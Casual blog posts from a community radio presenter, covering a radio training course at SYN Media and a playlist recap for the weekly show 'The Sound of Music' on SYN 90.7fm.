But things are moving along quite nicely. I’m three weeks into a four week radio training course with SYN Media. Has been a ton of fun, and totally recommend it for anyone interested in working in radio, or the media in general. Doing it with a friend, and we’re hoping to do a Graveyard Shift to get some practice on air. Should be awesome fun!

My ‘Things To Do List’ hasn’t made much progress over the holidays, I haven’t done everything I said I would (story of my life, really). But I’ve had a great holiday anyway. Relaxing, if nothing else.

Anyhoo, off to go do some other stuff. And hopefully write some more interesting updates

Byee

Tonight we played loads of shtuff, old and new, plenty of aussies, all while blogging right here for you! (see the last post for our ACTION SHOTS!)  Thanks for the interaction etc

WE PLAYED…

How Strong’s My Love – THE GREASERS

Chosen Armies – CHILDREN COLLIDE
…see interactive video clip here!

Like A Drug – QUEENS OF THE STONE AGE

Old Money – HUNGRY KIDS OF HUNGARY
…Hifi 21/8 (Bertie Blackman), The Forum 11/9 (Little Birdy)

The Comeback – THE HOLIDAYS

Summertime – JANIS JOPLIN

Half Full Glass of Wine – TAME IMPALA
…The Corner 23/10

Too Young – PHOENIX
…The Palace, August 3 & 4 – SOLD OUT!

Something in the Night – BUCKLEY WARD
…album launch August 8th, The Curtin

505 – ARCTIC MONKEYS

Golden – BEAR HANDS

Standing Next To Me – THE LAST SHADOW PUPPETS

Hello, I Love You – THE DOORS

Non-music time on the show was spent talking shit and whoring the blog/text line with much success! Tune in next week for more awesomeness.

The Sound of Music w/ Tim and Bel.
Mondays at 8 on SYN 90.7fm

become a fan of The Sound of Music on Facebook.